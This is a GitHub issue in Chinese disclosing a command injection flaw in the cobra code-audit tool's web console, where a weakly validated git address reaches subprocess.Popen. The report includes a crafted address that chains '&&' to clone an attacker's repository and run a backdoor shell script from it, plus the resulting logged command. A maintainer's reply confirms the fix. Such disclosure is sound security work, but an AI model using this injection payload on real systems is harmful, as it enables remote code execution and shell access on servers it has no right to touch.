Skip to content
This repository has been archived by the owner on Nov 28, 2023. It is now read-only.

cobra Web控制台获取系统shell #1192

Closed
chengchong010 opened this issue Aug 13, 2018 · 1 comment · Fixed by #1201
Closed

cobra Web控制台获取系统shell #1192

chengchong010 opened this issue Aug 13, 2018 · 1 comment · Fixed by #1201
Labels

Comments

@chengchong010
Copy link

漏洞描述:
通过cobra Web控制台提交可控的git地址,即可获取cobra系统的shell,权限与cobra运行权限一致。

漏洞细节:

正常工作流程
1)在cobra Web首页输入的git地址,即target:
https://github.com/WhaleShark-Team/cobra/blob/5e2b9bf7418490a901d5d7cdc48f622717655f39/cobra/utils.py#L48-L51

2)会先经过如下正则的校验:
https://github.com/WhaleShark-Team/cobra/blob/5e2b9bf7418490a901d5d7cdc48f622717655f39/cobra/utils.py#L131

3)然后作为如下调用代码Git的输入参数:
https://github.com/WhaleShark-Team/cobra/blob/5e2b9bf7418490a901d5d7cdc48f622717655f39/cobra/utils.py#L157-L161

4)最后通过subprocess.Popen执行,其中cmd的值中包括clone_address,即self.repo_address就是前面所提交的git地址。
https://github.com/WhaleShark-Team/cobra/blob/5e2b9bf7418490a901d5d7cdc48f622717655f39/cobra/pickup.py#L399-L401

由于前面的正则表达式比较严格,但仍然允许/ . &等字符。所以构造如下git地址:
https://github.com/chengchong010/shell.git&&./shell/shell.py&&id

两个细节:
1)shell.git是可控项目,项目中可以包括有正向或者反弹性功能的后门shell,并将后门文件属性增加可执行权限。
2)通过调试可以知道,按官方文档默认cobra的git clone过去项目的默认目录与cobra项目同级。

所以提交git后。系统最后会顺利通过正则检查,并执行如下指令:
[18:17:02] [INFO] [PICKUP] [CLONE]

git clone https://github.com/chengchong010/shell.git&&./shell/shell.py&&id "/tmp/cobra/git/chengchong010/shell&&./shell/shell.py&&id" -b master

在成功git clone完shell项目后,便可执行项目中的shell后门文件,再后面的指令可以忽略。

安全建议:
对输入参数进行更严格的校验。

@40huo 40huo added the bug label Aug 21, 2018
@BlBana
Copy link
Collaborator

BlBana commented Aug 21, 2018

感谢你指出了这个问题,这个之前有发现过,但是正则过滤的不够严格,这次重新完善了正则,解决了这个问题,之后如果还有相关的问题,可以继续向我们提出issue ~

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
Projects
None yet
Development

Successfully merging a pull request may close this issue.

3 participants